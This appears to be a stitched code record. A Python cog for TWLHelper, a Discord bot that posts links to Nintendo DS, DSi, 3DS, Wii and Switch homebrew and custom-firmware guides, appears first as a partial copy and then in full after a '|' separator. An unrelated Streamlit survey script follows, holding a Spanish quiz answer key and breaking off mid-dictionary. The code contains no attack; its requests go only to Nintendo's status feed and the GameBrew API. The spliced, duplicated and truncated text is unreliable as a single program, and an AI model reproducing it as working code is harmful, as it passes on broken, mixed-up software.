embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/installing-unlaunch.html"
embed.description = "How to install Unlaunch on the DSi"
await ctx.send(embed=embed)
@commands.group(invoke_without_command=True, case_insensitive=True)
async def uninstall(self, ctx):
"""Links and/or information on uninstalling apps"""
await ctx.send_help(ctx.command)
@uninstall.command(name="twilight", aliases=["twlmenu", "twl", "twilightmenu"])
async def twilight_uninstall(self, ctx, *, arg=""):
"""Uninstalling TWiLight Menu++.\n
Usage: .uninstall twilight [3ds, dsi, ds]"""
systems = ("3ds", "dsi", "ds")
embed = discord.Embed(title="TWiLight Menu++ Uninstall Guide")
embed.url = "https://wiki.ds-homebrew.com/twilightmenu/uninstalling"
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.description = "How to uninstall TWiLight Menu++"
if arg != "":
if check_arg(arg, ("3ds",)):
embed.url += "-3ds"
embed.description += " on the 3DS"
elif check_arg(arg, ("dsi", "flashcard", "flashcart", "ds")):
embed.url += "-ds"
embed.description += " on the DSi and/or flashcards"
else:
await ctx.send(f"Please specify a console. Valid options are: {", ".join([x for x in systems])}.")
return
embed.url += ".html"
await ctx.send(embed=embed)
@uninstall.command(name="unlaunch")
async def unlaunch_uninstall(self, ctx):
"""Uninstalling Unlaunch"""
embed = discord.Embed(title="Uninstalling Unlaunch")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/uninstalling-unlaunch.html"
embed.description = "How to uninstall Unlaunch on the DSi"
await ctx.send(embed=embed)
@uninstall.command(name="hiyacfw", aliases=["hiya"])
async def hiyacfw_uninstall(self, ctx):
"""Uninstalling hiyaCFW"""
embed = discord.Embed(title="Uninstalling hiyaCFW")
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.url = "https://wiki.ds-homebrew.com/hiyacfw/uninstalling.html"
embed.description = "How to uninstall hiyaCFW on the DSi"
await ctx.send(embed=embed)
@commands.command()
async def twlfix(self, ctx):
"""Information on how to fix a broken TWL Partition"""
await self.simple_embed(ctx, """
Follow [TWLFix-CFW](https://github.com/MechanicalDragon0687/TWLFix-CFW/releases/).
These instructions require that you **perform a system update** after running the app.
""", title="Fix broken TWL")
@commands.command()
async def twlsettings(self, ctx):
"""How to access TWiLight Menu++ Settings"""
embed = discord.Embed(title="How to access TWiLight Menu++ Settings")
embed.description = "The way to access the TWiLight Menu++ settings varies between your configuration."
embed.add_field(name="DS Classic Menu", value=cleandoc("""Hit the DS icon at the bottom of the lower screen"""), inline=False)
embed.add_field(name="Nintendo DSi/SEGA Saturn/Homebrew Launcher themes using SELECT Menu", value=cleandoc("""Hit SELECT, then launch the Settings Applet (use the D-PAD to highlight options)"""), inline=False)
embed.add_field(name="Nintendo DSi/SEGA Saturn/Homebrew Launcher themes not using SELECT Menu", value=cleandoc("""Hitting SELECT will bring you to the DS Classic Menu"""), inline=False)
embed.add_field(name="Nintendo 3DS theme", value=cleandoc("""Use the touch screen to touch the wrench"""), inline=False)
embed.add_field(name="R4 Original theme", value=cleandoc("""Hit START (if you’re in the file browser), then hit SELECT"""), inline=False)
await ctx.send(embed=embed)
@commands.command(aliases=["sd-card-setup", "sdformat"])
async def formatsd(self, ctx):
"""Formatting your SD card"""
embed = discord.Embed(title="SD Card Setup")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/sd-card-setup.html"
embed.description = "How to properly format your SD card"
await ctx.send(embed=embed)
@commands.command(aliases=["nanddump", "nandbackup"])
async def nand(self, ctx):
"""Links to the NAND dumping guide"""
embed = discord.Embed(title="Dumping NAND")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/dumping-nand.html"
embed.description = "How to dump your DSi's NAND"
await ctx.send(embed=embed)
@commands.command()
async def vc(self, ctx):
"""Links to the 3DS Virtual Console Inject guide"""
embed = discord.Embed(title="Virtual Console Injects for 3DS")
embed.set_author(name="Asdolo")
embed.set_thumbnail(url="https://i.imgur.com/rHa76XM.png")
embed.url = "https://3ds.eiphax.tech/nsui.html"
embed.description = "The recommended way to play old classics on your 3DS"
await ctx.send(embed=embed)
@commands.command()
async def dump(self, ctx, system: Literal('3ds', 'dsi', 'dsiware')): # noqa
"""How to dump games and data for CFW consoles.
Usage: dump <3ds, dsi, dsiware>"""
if check_arg(system, '3ds'):
embed = discord.Embed(title="GodMode9 Dump Guide")
embed.set_author(name="Nintendo Homebrew & Plailect")
embed.set_thumbnail(url="https://nintendohomebrew.com/assets/img/nhplai.png")
embed.url = "https://3ds.hacks.guide/dumping-titles-and-game-cartridges.html"
embed.description = "How to dump Cartridges and Files on a 3DS using GodMode9"
await ctx.send(embed=embed)
elif check_arg(system, ('dsi',)):
embed = discord.Embed(title="GodMode9i Dump Guide")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/dumping-game-cards.html"
embed.description = "How to dump cartridges on a Nintendo DSi using GodMode9i"
await ctx.send(embed=embed)
elif check_arg(system, ('dsiware',)):
embed = discord.Embed(title="DSiWare Backups")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/dsiware-backups.html"
embed.description = "How to dump DSiWare on a Nintendo DSi using GodMode9i"
await ctx.send(embed=embed)
@commands.group(aliases=["crowdin"], invoke_without_command=True, case_insensitive=True)
async def translate(self, ctx):
"""Links to Crowdin projects"""
await ctx.send_help(ctx.command)
async def tlembed(self, ctx, title, extension):
embed = discord.Embed(title=title + " Crowdin Project")
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://support.crowdin.com/assets/logos/crowdin-white-symbol.png")
embed.description = "Help translate " + title + " on Crowdin."
embed.url = "https://crowdin.com/project/" + extension
await ctx.send(embed=embed)
@translate.command(aliases=["twlmenu", "twl", "twilightmenu"])
async def twilight(self, ctx):
await self.tlembed(ctx, "TWiLight Menu++", "TwilightMenu")
@translate.command(aliases=["nds-bootstrap", "bootstrap", "ndsbs", "bs"])
async def ndsbootstrap(self, ctx):
await self.tlembed(ctx, "nds-bootstrap", "nds-bootstrap")
@translate.command(aliases=["skins", "ds-homebrew.com", "website"])
async def wiki(self, ctx):
await self.tlembed(ctx, "DS-Homebrew Wiki", "ds-homebrew-wiki")
@translate.command(aliases=["dsicfwguide", "dsi.cfw.guide"])
async def dsiguide(self, ctx):
await self.tlembed(ctx, "DSi Guide", "dsi-guide")
@commands.command()
async def color(self, ctx, *, arg=""):
"""Shows conversions of a color from #RRGGBB, #RGB, RRR GGG BBB, and BGR15"""
arg = arg.replace("0x", "").replace("#", "")
if len(arg) == 6: # #RRGGBB
rgb = (int(arg[0:2], 16), int(arg[2:4], 16), int(arg[4:6], 16))
elif len(arg) == 3: # #RGB
rgb = (int(arg[0], 16) * 0x11, int(arg[1], 16) * 0x11, int(arg[2], 16) * 0x11)
elif len(arg.split()) == 3: # RRR GGG BBB
split = arg.split()
rgb = (max(min(int(split[0]), 0xFF), 0), max(min(int(split[1]), 0xFF), 0), max(min(int(split[2]), 0xFF), 0))
elif len(arg) == 4: # BGR15
bgr15 = int(arg, 16)
rgb = (round((bgr15 & 0x1F) * 0xFF / 0x1F), round(((bgr15 >> 5) & 0x1F) * 0xFF / 0x1F), round(((bgr15 >> 10) & 0x1F) * 0xFF / 0x1F))
else:
await ctx.send_help(ctx.command)
return
embed = discord.Embed(title="Color conversions")
embed.color = rgb[0] << 0x10 | rgb[1] << 0x8 | rgb[2]
embed.add_field(name="Hex (HTML)", value=f"`#{rgb[0] << 0x10 | rgb[1] << 0x8 | rgb[2]:06X}`")
embed.add_field(name="RGB", value=f"`{rgb[0]} {rgb[1]} {rgb[2]}`")
bgr15 = round(rgb[0] * 0x1F / 0xFF) | round(rgb[1] * 0x1F / 0xFF) << 5 | round(rgb[2] * 0x1F / 0xFF) << 10
embed.add_field(name="BGR15", value=f"`0x{bgr15:04X}` `0x{bgr15 | 1 << 15:04X}`")
await ctx.send(embed=embed)
@commands.command(aliases=["botinfo", "whoisthisbot"])
async def about(self, ctx):
"""About TWLHelper"""
embed = discord.Embed(title="About TWLHelper")
embed.set_author(name="DS-Homebrew")
embed.url = "https://github.com/DS-Homebrew/TWLHelper"
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.description = "TWLHelper, DS⁽ⁱ⁾ Mode Hacking Discord server bot"
await ctx.send(embed=embed)
@commands.command()
async def sdroot(self, ctx):
"""Image that shows what a root is"""
embed = discord.Embed()
embed.set_image(url="https://media.discordapp.net/attachments/489307733074640926/756947922804932739/wherestheroot.png")
await ctx.send(embed=embed)
@commands.command()
async def sdlock(self, ctx):
"""Disable write protection on an SD Card"""
embed = discord.Embed(title="Disable write protection on an SD Card")
embed.description = cleandoc("""
This switch on the SD Card should be facing upwards, as in this photo. Otherwise, \
your device will refuse to write to it.
*If it is write locked, your console and other applications may behave unexpectedly.*
""")
embed.set_image(url="https://i.imgur.com/RvKjWcz.png")
await ctx.send(embed=embed)
# this command is a part of Kurisu (https://github.com/nh-server/Kurisu)
@commands.command()
async def netinfo(self, ctx):
"""Description of Nintendo Network status"""
j = requests.get('https://www.nintendo.co.jp/netinfo/en_US/status.json?callback=getJSON', timeout=45).json()
now = datetime.now(timezone('US/Pacific'))
embed = discord.Embed(title="Network Maintenance Information / Online Status",
url="https://www.nintendo.co.jp/netinfo/en_US/index.html",
description="All times are US/Pacific.")
embed.set_footer(text=f"This information was last updated {now.strftime("%A, %B %d, %Y %I:%M %p")}.")
for status_type in ("operational_statuses", "temporary_maintenances"):
descriptor = "Maintenance" if status_type == "temporary_maintenances" else "Status"
for entry in j[status_type]:
if "platform" in entry:
entry_desc = ', '.join(entry["platform"]).replace("nintendo", "Nintendo").replace("web", "Web")
else:
entry_desc = 'No console specified.'
begin = datetime(year=2000, month=1, day=1, tzinfo=timezone('US/Pacific'))
end = datetime(year=2099, month=1, day=1, tzinfo=timezone('US/Pacific'))
if "begin" in entry:
begin = self.netinfo_parse_time(entry["begin"])
entry_desc += '\nBegins: ' + begin.strftime('%A, %B %d, %Y %I:%M %p')
if "end" in entry:
end = self.netinfo_parse_time(entry["end"])
entry_desc += '\nEnds: ' + end.strftime('%A, %B %d, %Y %I:%M %p')
if now < end:
entry_name = "{} {}: {}".format(
"Current" if begin <= now else "Upcoming",
descriptor,
entry["software_title"].replace(' <br />\r\n', ', ')
)
if "services" in entry:
entry_name += ", " + ', '.join(entry["services"])
embed.add_field(name=entry_name, value=entry_desc, inline=False)
await ctx.send(embed=embed)
@commands.command()
async def gamebrew(self, ctx, *args):
"""Searches for an app on GameBrew"""
if len(args) == 0:
embed = discord.Embed()
embed.title = "GameBrew"
embed.description = "A wiki dedicated to Video Game Homebrew."
embed.set_author(name="GameBrew", icon_url="https://www.gamebrew.org/images/logo3.png")
embed.url = "https://www.gamebrew.org/wiki/Main_Page"
return await ctx.send(embed=embed)
r = requests.get(f"https://www.gamebrew.org/api.php?action=opensearch&limit=1&namespace=0&format=json&redirects=resolve&search={parse.quote(" ".join(args))}")
if r.status_code != 200:
return await ctx.send(f"Error {r.status_code}! Failed to connect to GameBrew API")
apiData = r.json()
if len(apiData[1]) > 0:
embed = discord.Embed()
embed.title = apiData[1][0]
embed.set_author(name="GameBrew", icon_url="https://www.gamebrew.org/images/logo3.png")
embed.url = apiData[3][0]
await ctx.send(embed=embed)
else:
await ctx.send("App cannot be found. Please try again.")
def setup(bot):
bot.add_cog(General(bot))
| import discord
import requests
from discord.ext import commands
from inspect import cleandoc
from datetime import datetime
from pytz import timezone
from urllib import parse
from utils import check_arg, Literal
class General(commands.Cog):
"""
General commands
"""
def __init__(self, bot):
self.bot = bot
async def simple_embed(self, ctx, text, *, title="", color=discord.Color.default()):
embed = discord.Embed(title=title, color=color)
embed.description = cleandoc(text)
await ctx.send(embed=embed)
# this command is a part of Kurisu (https://github.com/nh-server/Kurisu)
def netinfo_parse_time(self, timestr):
return datetime.strptime(' '.join(timestr.split()), '%A, %B %d, %Y %I :%M %p').replace(tzinfo=timezone('US/Pacific'))
@commands.command(require_var_positional=True)
async def guide(self, ctx, *guides: Literal("3ds", "wiiu", "vwii", "switch", "nx", "ns", "wii", "dsi")) -> None: # noqa
"""Links to the recommended guides.
Usage: guide <3ds, wiiu, vwii, switch, wii, dsi>"""
embed = discord.Embed(title="Guide")
for x in guides:
if check_arg(x, '3ds'):
embed.set_author(name="Nintendo Homebrew & Plailect")
embed.set_thumbnail(url="https://nintendohomebrew.com/assets/img/nhplai.png")
embed.url = "https://3ds.hacks.guide/"
embed.description = "A complete guide to 3DS custom firmware, from stock to boot9strap"
await ctx.send(embed=embed)
continue
if check_arg(x, ('wiiu',)):
embed.set_author(name="Nintendo Homebrew")
embed.set_thumbnail(url="https://i.imgur.com/CVSu1zc.png")
embed.url = "https://wiiu.hacks.guide/"
embed.description = "A guide collaboration between Nintendo Homebrew’s Helpers and Staff, from stock to CBHC custom firmware"
await ctx.send(embed=embed)
continue
if check_arg(x, ('vwii',)):
embed.set_author(name="Nintendo Homebrew")
embed.set_thumbnail(url="https://i.imgur.com/FclGzNz.png")
embed.url = "https://wiiu.hacks.guide/#/vwii-modding"
embed.description = "vWii modding guide"
await ctx.send(embed=embed)
continue
if check_arg(x, ('switch', 'nx', 'ns')):
embed.set_author(name="Nintendo Homebrew")
embed.set_thumbnail(url="https://i.imgur.com/CVSu1zc.png")
embed.url = "https://switchgui.de/switch-guide/"
embed.description = "A guide collaboration between Nintendo Homebrew's Helpers and Staff, from stock to Atmosphere"
await ctx.send(embed=embed)
continue
if check_arg(x, 'wii'):
embed.set_author(name="RiiConnect24")
embed.set_thumbnail(url="https://i.imgur.com/KI6IXmm.png")
embed.url = "https://wii.guide/"
embed.description = "The complete guide to modding your Nintendo Wii"
await ctx.send(embed=embed)
continue
if check_arg(x, 'dsi'):
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/"
embed.description = "The complete guide to modding your Nintendo DSi"
await ctx.send(embed=embed)
@commands.group(invoke_without_command=True, case_insensitive=True)
async def install(self, ctx):
"""Links and/or information on installing apps"""
await ctx.send_help(ctx.command)
@install.command(name="twilight", aliases=["twlmenu", "twl", "twilightmenu"])
async def twilight_install(self, ctx, *, arg=""):
embed = discord.Embed(title="TWiLight Menu++ Installation Guide")
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.url = "https://wiki.ds-homebrew.com/twilightmenu/installing"
embed.description = "How to install TWiLight Menu++"
if arg != "":
if check_arg(arg, ("3ds",)):
embed.url += "-3ds"
embed.description += " on the 3DS"
elif check_arg(arg, ("dsi",)):
embed.url += "-dsi"
embed.description += " on the DSi"
elif check_arg(arg, ("flashcard", "flashcart", "ds")):
embed.url += "-flashcard"
embed.description += " on flashcards"
embed.url += ".html"
await ctx.send(embed=embed)
@install.command(name="hiyacfw", aliases=["hiya"])
async def hiyacfw_install(self, ctx, *, arg=""):
embed = discord.Embed(title="hiyaCFW Installation Guide")
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.url = "https://wiki.ds-homebrew.com/hiyacfw/installing.html"
embed.description = "How to install hiyaCFW on the DSi"
await ctx.send(embed=embed)
@install.command(name="unlaunch")
async def unlaunch_install(self, ctx):
"""Installing Unlaunch"""
embed = discord.Embed(title="Installing Unlaunch")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/installing-unlaunch.html"
embed.description = "How to install Unlaunch on the DSi"
await ctx.send(embed=embed)
@commands.group(invoke_without_command=True, case_insensitive=True)
async def uninstall(self, ctx):
"""Links and/or information on uninstalling apps"""
await ctx.send_help(ctx.command)
@uninstall.command(name="twilight", aliases=["twlmenu", "twl", "twilightmenu"])
async def twilight_uninstall(self, ctx, *, arg=""):
"""Uninstalling TWiLight Menu++.\n
Usage: .uninstall twilight [3ds, dsi, ds]"""
systems = ("3ds", "dsi", "ds")
embed = discord.Embed(title="TWiLight Menu++ Uninstall Guide")
embed.url = "https://wiki.ds-homebrew.com/twilightmenu/uninstalling"
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.description = "How to uninstall TWiLight Menu++"
if arg != "":
if check_arg(arg, ("3ds",)):
embed.url += "-3ds"
embed.description += " on the 3DS"
elif check_arg(arg, ("dsi", "flashcard", "flashcart", "ds")):
embed.url += "-ds"
embed.description += " on the DSi and/or flashcards"
else:
await ctx.send(f"Please specify a console. Valid options are: {', '.join([x for x in systems])}.")
return
embed.url += ".html"
await ctx.send(embed=embed)
@uninstall.command(name="unlaunch")
async def unlaunch_uninstall(self, ctx):
"""Uninstalling Unlaunch"""
embed = discord.Embed(title="Uninstalling Unlaunch")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/uninstalling-unlaunch.html"
embed.description = "How to uninstall Unlaunch on the DSi"
await ctx.send(embed=embed)
@uninstall.command(name="hiyacfw", aliases=["hiya"])
async def hiyacfw_uninstall(self, ctx):
"""Uninstalling hiyaCFW"""
embed = discord.Embed(title="Uninstalling hiyaCFW")
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.url = "https://wiki.ds-homebrew.com/hiyacfw/uninstalling.html"
embed.description = "How to uninstall hiyaCFW on the DSi"
await ctx.send(embed=embed)
@commands.command()
async def twlfix(self, ctx):
"""Information on how to fix a broken TWL Partition"""
await self.simple_embed(ctx, """
Follow [TWLFix-CFW](https://github.com/MechanicalDragon0687/TWLFix-CFW/releases/).
These instructions require that you **perform a system update** after running the app.
""", title="Fix broken TWL")
@commands.command()
async def twlsettings(self, ctx):
"""How to access TWiLight Menu++ Settings"""
embed = discord.Embed(title="How to access TWiLight Menu++ Settings")
embed.description = "The way to access the TWiLight Menu++ settings varies between your configuration."
embed.add_field(name="DS Classic Menu", value=cleandoc("""Hit the DS icon at the bottom of the lower screen"""), inline=False)
embed.add_field(name="Nintendo DSi/SEGA Saturn/Homebrew Launcher themes using SELECT Menu", value=cleandoc("""Hit SELECT, then launch the Settings Applet (use the D-PAD to highlight options)"""), inline=False)
embed.add_field(name="Nintendo DSi/SEGA Saturn/Homebrew Launcher themes not using SELECT Menu", value=cleandoc("""Hitting SELECT will bring you to the DS Classic Menu"""), inline=False)
embed.add_field(name="Nintendo 3DS theme", value=cleandoc("""Use the touch screen to touch the wrench"""), inline=False)
embed.add_field(name="R4 Original theme", value=cleandoc("""Hit START (if you’re in the file browser), then hit SELECT"""), inline=False)
await ctx.send(embed=embed)
@commands.command(aliases=["sd-card-setup", "sdformat"])
async def formatsd(self, ctx):
"""Formatting your SD card"""
embed = discord.Embed(title="SD Card Setup")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/sd-card-setup.html"
embed.description = "How to properly format your SD card"
await ctx.send(embed=embed)
@commands.command(aliases=["nanddump", "nandbackup"])
async def nand(self, ctx):
"""Links to the NAND dumping guide"""
embed = discord.Embed(title="Dumping NAND")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/dumping-nand.html"
embed.description = "How to dump your DSi's NAND"
await ctx.send(embed=embed)
@commands.command()
async def vc(self, ctx):
"""Links to the 3DS Virtual Console Inject guide"""
embed = discord.Embed(title="Virtual Console Injects for 3DS")
embed.set_author(name="Asdolo")
embed.set_thumbnail(url="https://i.imgur.com/rHa76XM.png")
embed.url = "https://3ds.eiphax.tech/nsui.html"
embed.description = "The recommended way to play old classics on your 3DS"
await ctx.send(embed=embed)
@commands.command()
async def dump(self, ctx, system: Literal('3ds', 'dsi', 'dsiware')): # noqa
"""How to dump games and data for CFW consoles.
Usage: dump <3ds, dsi, dsiware>"""
if check_arg(system, '3ds'):
embed = discord.Embed(title="GodMode9 Dump Guide")
embed.set_author(name="Nintendo Homebrew & Plailect")
embed.set_thumbnail(url="https://nintendohomebrew.com/assets/img/nhplai.png")
embed.url = "https://3ds.hacks.guide/dumping-titles-and-game-cartridges.html"
embed.description = "How to dump Cartridges and Files on a 3DS using GodMode9"
await ctx.send(embed=embed)
elif check_arg(system, ('dsi',)):
embed = discord.Embed(title="GodMode9i Dump Guide")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/dumping-game-cards.html"
embed.description = "How to dump cartridges on a Nintendo DSi using GodMode9i"
await ctx.send(embed=embed)
elif check_arg(system, ('dsiware',)):
embed = discord.Embed(title="DSiWare Backups")
embed.set_author(name="emiyl & DS⁽ⁱ⁾ Mode Hacking")
embed.set_thumbnail(url="https://i.imgur.com/OGelKVt.png")
embed.url = "https://dsi.cfw.guide/dsiware-backups.html"
embed.description = "How to dump DSiWare on a Nintendo DSi using GodMode9i"
await ctx.send(embed=embed)
@commands.group(aliases=["crowdin"], invoke_without_command=True, case_insensitive=True)
async def translate(self, ctx):
"""Links to Crowdin projects"""
await ctx.send_help(ctx.command)
async def tlembed(self, ctx, title, extension):
embed = discord.Embed(title=title + " Crowdin Project")
embed.set_author(name="DS-Homebrew Wiki")
embed.set_thumbnail(url="https://support.crowdin.com/assets/logos/crowdin-white-symbol.png")
embed.description = "Help translate " + title + " on Crowdin."
embed.url = "https://crowdin.com/project/" + extension
await ctx.send(embed=embed)
@translate.command(aliases=["twlmenu", "twl", "twilightmenu"])
async def twilight(self, ctx):
await self.tlembed(ctx, "TWiLight Menu++", "TwilightMenu")
@translate.command(aliases=["nds-bootstrap", "bootstrap", "ndsbs", "bs"])
async def ndsbootstrap(self, ctx):
await self.tlembed(ctx, "nds-bootstrap", "nds-bootstrap")
@translate.command(aliases=["skins", "ds-homebrew.com", "website"])
async def wiki(self, ctx):
await self.tlembed(ctx, "DS-Homebrew Wiki", "ds-homebrew-wiki")
@translate.command(aliases=["dsicfwguide", "dsi.cfw.guide"])
async def dsiguide(self, ctx):
await self.tlembed(ctx, "DSi Guide", "dsi-guide")
@commands.command()
async def color(self, ctx, *, arg=""):
"""Shows conversions of a color from #RRGGBB, #RGB, RRR GGG BBB, and BGR15"""
arg = arg.replace("0x", "").replace("#", "")
if len(arg) == 6: # #RRGGBB
rgb = (int(arg[0:2], 16), int(arg[2:4], 16), int(arg[4:6], 16))
elif len(arg) == 3: # #RGB
rgb = (int(arg[0], 16) * 0x11, int(arg[1], 16) * 0x11, int(arg[2], 16) * 0x11)
elif len(arg.split()) == 3: # RRR GGG BBB
split = arg.split()
rgb = (max(min(int(split[0]), 0xFF), 0), max(min(int(split[1]), 0xFF), 0), max(min(int(split[2]), 0xFF), 0))
elif len(arg) == 4: # BGR15
bgr15 = int(arg, 16)
rgb = (round((bgr15 & 0x1F) * 0xFF / 0x1F), round(((bgr15 >> 5) & 0x1F) * 0xFF / 0x1F), round(((bgr15 >> 10) & 0x1F) * 0xFF / 0x1F))
else:
await ctx.send_help(ctx.command)
return
embed = discord.Embed(title="Color conversions")
embed.color = rgb[0] << 0x10 | rgb[1] << 0x8 | rgb[2]
embed.add_field(name="Hex (HTML)", value=f"`#{rgb[0] << 0x10 | rgb[1] << 0x8 | rgb[2]:06X}`")
embed.add_field(name="RGB", value=f"`{rgb[0]} {rgb[1]} {rgb[2]}`")
bgr15 = round(rgb[0] * 0x1F / 0xFF) | round(rgb[1] * 0x1F / 0xFF) << 5 | round(rgb[2] * 0x1F / 0xFF) << 10
embed.add_field(name="BGR15", value=f"`0x{bgr15:04X}` `0x{bgr15 | 1 << 15:04X}`")
await ctx.send(embed=embed)
@commands.command(aliases=["botinfo", "whoisthisbot"])
async def about(self, ctx):
"""About TWLHelper"""
embed = discord.Embed(title="About TWLHelper")
embed.set_author(name="DS-Homebrew")
embed.url = "https://github.com/DS-Homebrew/TWLHelper"
embed.set_thumbnail(url="https://avatars.githubusercontent.com/u/46971470?s=400&v=4")
embed.description = "TWLHelper, DS⁽ⁱ⁾ Mode Hacking Discord server bot"
await ctx.send(embed=embed)
@commands.command()
async def sdroot(self, ctx):
"""Image that shows what a root is"""
embed = discord.Embed()
embed.set_image(url="https://media.discordapp.net/attachments/489307733074640926/756947922804932739/wherestheroot.png")
await ctx.send(embed=embed)
@commands.command()
async def sdlock(self, ctx):
"""Disable write protection on an SD Card"""
embed = discord.Embed(title="Disable write protection on an SD Card")
embed.description = cleandoc("""
This switch on the SD Card should be facing upwards, as in this photo. Otherwise, \
your device will refuse to write to it.
*If it is write locked, your console and other applications may behave unexpectedly.*
""")
embed.set_image(url="https://i.imgur.com/RvKjWcz.png")
await ctx.send(embed=embed)
# this command is a part of Kurisu (https://github.com/nh-server/Kurisu)
@commands.command()
async def netinfo(self, ctx):
"""Description of Nintendo Network status"""
j = requests.get('https://www.nintendo.co.jp/netinfo/en_US/status.json?callback=getJSON', timeout=45).json()
now = datetime.now(timezone('US/Pacific'))
embed = discord.Embed(title="Network Maintenance Information / Online Status",
url="https://www.nintendo.co.jp/netinfo/en_US/index.html",
description="All times are US/Pacific.")
embed.set_footer(text=f"This information was last updated {now.strftime('%A, %B %d, %Y %I:%M %p')}.")
for status_type in ("operational_statuses", "temporary_maintenances"):
descriptor = "Maintenance" if status_type == "temporary_maintenances" else "Status"
for entry in j[status_type]:
if "platform" in entry:
entry_desc = ', '.join(entry["platform"]).replace("nintendo", "Nintendo").replace("web", "Web")
else:
entry_desc = 'No console specified.'
begin = datetime(year=2000, month=1, day=1, tzinfo=timezone('US/Pacific'))
end = datetime(year=2099, month=1, day=1, tzinfo=timezone('US/Pacific'))
if "begin" in entry:
begin = self.netinfo_parse_time(entry["begin"])
entry_desc += '\nBegins: ' + begin.strftime('%A, %B %d, %Y %I:%M %p')
if "end" in entry:
end = self.netinfo_parse_time(entry["end"])
entry_desc += '\nEnds: ' + end.strftime('%A, %B %d, %Y %I:%M %p')
if now < end:
entry_name = "{} {}: {}".format(
"Current" if begin <= now else "Upcoming",
descriptor,
entry["software_title"].replace(' <br />\r\n', ', ')
)
if "services" in entry:
entry_name += ", " + ', '.join(entry["services"])
embed.add_field(name=entry_name, value=entry_desc, inline=False)
await ctx.send(embed=embed)
@commands.command()
async def gamebrew(self, ctx, *args):
"""Searches for an app on GameBrew"""
if len(args) == 0:
embed = discord.Embed()
embed.title = "GameBrew"
embed.description = "A wiki dedicated to Video Game Homebrew."
embed.set_author(name="GameBrew", icon_url="https://www.gamebrew.org/images/logo3.png")
embed.url = "https://www.gamebrew.org/wiki/Main_Page"
return await ctx.send(embed=embed)
r = requests.get(f"https://www.gamebrew.org/api.php?action=opensearch&limit=1&namespace=0&format=json&redirects=resolve&search={parse.quote(' '.join(args))}")
if r.status_code != 200:
return await ctx.send(f"Error {r.status_code}! Failed to connect to GameBrew API")
apiData = r.json()
if len(apiData[1]) > 0:
embed = discord.Embed()
embed.title = apiData[1][0]
embed.set_author(name="GameBrew", icon_url="https://www.gamebrew.org/images/logo3.png")
embed.url = apiData[3][0]
await ctx.send(embed=embed)
else:
await ctx.send("App cannot be found. Please try again.")
def setup(bot):
bot.add_cog(General(bot))
|
import streamlit as st
from src.utils.chart_funcs import *
from src.utils.helper_funcs import *
files = [
{
"title": "Autoeficacia",
"file": "post_avanzado_autoeficacia.xlsx"
},
{
"title": "Conocimientos",
"file": "post_avanzado_conocimientos.xlsx",
"respuestas": {
"26": "Cerrar el centro para carros mientras la calidad del aire sea mala, muy mala, o extremadamente mala.",
"27": "Esta función no imprime nunca nada",
"28": "b",
"29": "alfa, delta, gama, beta, épsilon",
"30": "Cree que, si la condición se cumple, todo lo que sigue se va a ejecutar",
"31": "Imagen 3",
"32": "Cada uno tiene un número asignado y gana solamente si presiona su botón cuando sale este número",
"34": "Imagen 3",
"35": "x::3, y::5, z::10",
}
},
{
"title": "Género",
"file": "post_avanzado_genero.xlsx"
}
]
# Nombre de las preguntas por el indice
# Esto se usará para aquellas preguntas que tengan subpreguntas
nombres_preguntas = {
'14': '14. ¿Cuáles de las siguientes estrategias usted ha usado en sus clases?',
'15': '15. Por favor evalúe los siguientes enunciados de acuerdo con su experiencia:',
'17': '17. Por favor evalúe los siguientes enunciados de acuerdo con su experiencia:',
'19': '19. Por favor evalúe las siguientes afirmaciones según qué tan de acuerdo está usted con enseñar las siguientes prácticas como objetivos de aprendizaje relacionados con el pensamiento computacional:',
